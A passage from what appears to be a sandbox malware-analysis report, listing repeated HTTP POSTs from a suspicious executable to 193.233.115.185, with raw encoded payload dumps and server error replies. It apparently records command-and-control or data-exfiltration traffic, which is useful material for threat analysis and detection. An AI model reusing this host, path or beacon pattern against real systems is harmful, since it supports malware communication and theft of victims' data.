                                                            Data Ascii: V]QRZXPZYYQXR_VRWP]^Z]U[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Z8&"\#?(-3"$0+)8<4?$;)<7#8#F".[
                                                            Jul 10, 2024 09:06:18.182583094 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:18.199029922 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:18 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            2192.168.2.449733193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:18.089097023 CEST284OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1876
                                                            Expect: 100-continue
                                                            Jul 10, 2024 09:06:18.448097944 CEST1876OUTData Raw: 56 57 51 51 5f 58 50 5a 59 59 51 58 52 5e 56 5b 57 55 5d 58 5a 59 55 59 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VWQQ_XPZYYQXR^V[WU]XZYUY_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/?6R59: 2,?4 5'(R(+\74&>7+[,%#F".[ <
                                                            Jul 10, 2024 09:06:18.824518919 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:18.824533939 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:18 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            3192.168.2.449734193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:18.387379885 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:18.387433052 CEST2548OUTData Raw: 53 56 54 52 5f 5a 55 50 59 59 51 58 52 5b 56 5b 57 53 5d 5d 5a 51 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SVTR_ZUPYYQXR[V[WS]]ZQU[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Y,/.")"!;_? 4.0,*;0#>0R%)(#],5#F".[ (
                                                            Jul 10, 2024 09:06:19.061249971 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:19.070813894 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:18 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            4192.168.2.449735193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:19.319434881 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:19.666934013 CEST2548OUTData Raw: 56 55 54 56 5a 58 55 5a 59 59 51 58 52 5b 56 56 57 50 5d 5c 5a 50 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VUTVZXUZYYQXR[VVWP]\ZPUP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$;"\ #Z?> 7%Y$<4S*+37$+&<$;_,%#F".[ (
                                                            Jul 10, 2024 09:06:20.002496004 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:20.006436110 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:19 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            5192.168.2.449736193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:20.824140072 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:21.182575941 CEST2548OUTData Raw: 53 51 54 51 5f 59 55 50 59 59 51 58 52 5a 56 56 57 55 5d 59 5a 5a 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQTQ_YUPYYQXRZVVWU]YZZU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Z,)"!"18<3#$.&?(*(#X (T1+?$;5#F".[ ,
                                                            Jul 10, 2024 09:06:21.491777897 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:21.502676010 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:21 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            6192.168.2.449739193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:21.822805882 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:22.158588886 CEST2548OUTData Raw: 53 51 51 52 5f 5e 50 5b 59 59 51 58 52 5b 56 51 57 55 5d 53 5a 5d 55 59 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQQR_^P[YYQXR[VQWU]SZ]UY_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X/!*9^#"+[?>8"4X0?)]7#-?$8%(#.5#F".[ (
                                                            Jul 10, 2024 09:06:22.478483915 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:22.485626936 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:22 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            7192.168.2.449740193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:22.800179005 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:23.151418924 CEST2548OUTData Raw: 56 53 54 53 5a 5c 55 51 59 59 51 58 52 5d 56 55 57 54 5d 5f 5a 5c 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSTSZ\UQYYQXR]VUWT]_Z\UX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$[/,S"* $+4B6&<(S=( >(W1+-<7;]/%#F".[ 0
                                                            Jul 10, 2024 09:06:23.500624895 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:23.505980968 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:23 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            8192.168.2.449742193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:23.793601036 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:24.151374102 CEST2548OUTData Raw: 56 51 54 51 5f 5f 55 5d 59 59 51 58 52 5e 56 57 57 55 5d 59 5a 5a 55 59 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VQTQ__U]YYQXR^VWWU]YZZUY_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X,659)#2'\(>#'=X$,),"=?&;)<7\,5#F".[ <
                                                            Jul 10, 2024 09:06:24.484657049 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:24.493275881 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:24 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            9192.168.2.449743193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:23.845525026 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1864
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:24.200391054 CEST1864OUTData Raw: 56 52 51 51 5f 5c 50 5e 59 59 51 58 52 58 56 56 57 51 5d 5c 5a 5f 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VRQQ_\P^YYQXRXVVWQ]\Z_UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$;69" 2 +W"$9Z0Z(=8+\#1+6@(Q7],#F".[ 0
                                                            Jul 10, 2024 09:06:24.525753975 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:24.528211117 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:24 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            10192.168.2.449744193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:24.688265085 CEST284OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Jul 10, 2024 09:06:25.041950941 CEST2548OUTData Raw: 56 53 54 54 5a 5e 50 5c 59 59 51 58 52 59 56 51 57 5c 5d 5b 5a 5c 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSTTZ^P\YYQXRYVQW\][Z\U^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$\,,)")!Y 1?\(-;T "&?8U*$ #$("B+7_,%#F".[
                                                            Jul 10, 2024 09:06:25.439811945 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:25.482832909 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:25 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            11192.168.2.449745193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:26.246319056 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:26.604451895 CEST2548OUTData Raw: 53 57 54 5c 5f 5e 55 5f 59 59 51 58 52 5f 56 52 57 55 5d 5b 5a 58 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWT\_^U_YYQXR_VRWU][ZXUZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$;"*72<+-3 7)Z3?<*8(7- W$;>>$7^8#F".[
                                                            Jul 10, 2024 09:06:26.903284073 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:26.907768965 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:26 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            12192.168.2.449747193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:27.282870054 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:27.282870054 CEST2548OUTData Raw: 56 56 54 5c 5a 5e 50 5a 59 59 51 58 52 5a 56 53 57 50 5d 5a 5a 5f 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VVT\Z^PZYYQXRZVSWP]ZZ_U__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X.?"U!2 18+>7$X0<(+ 4/26?'8#F".[ ,
                                                            Jul 10, 2024 09:06:27.989479065 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:27.994270086 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:27 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            13192.168.2.449748193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:28.460500002 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2544
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:28.807620049 CEST2544OUTData Raw: 53 55 51 56 5f 5a 50 5a 59 59 51 58 52 58 56 55 57 5d 5d 53 5a 51 55 5c 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SUQV_ZPZYYQXRXVUW]]SZQU\_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.?2!972+_)>R#>$);3Z#3&6@(?^,#F".[ <
                                                            Jul 10, 2024 09:06:29.137726068 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:29.144800901 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:29 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            14192.168.2.449751193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:29.554169893 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1876
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:29.901365995 CEST1876OUTData Raw: 53 52 54 53 5f 5c 50 5e 59 59 51 58 52 5c 56 55 57 56 5d 5d 5a 5e 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SRTS_\P^YYQXR\VUWV]]Z^UP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$82V"9]#2<(3U7$&'/$*?#=72&A>' ,#F".[ 4
                                                            Jul 10, 2024 09:06:30.212677002 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:30.218971968 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:30 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            15192.168.2.449752193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:29.701503038 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:30.057729959 CEST2548OUTData Raw: 53 56 51 55 5a 5b 55 5c 59 59 51 58 52 59 56 51 57 53 5d 5c 5a 59 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SVQUZ[U\YYQXRYVQWS]\ZYUQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$/=591^#+=3R ')04(8,".(V19?\.%#F".[
                                                            Jul 10, 2024 09:06:30.367273092 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:30.371411085 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:30 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            16192.168.2.449753193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:30.672811031 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
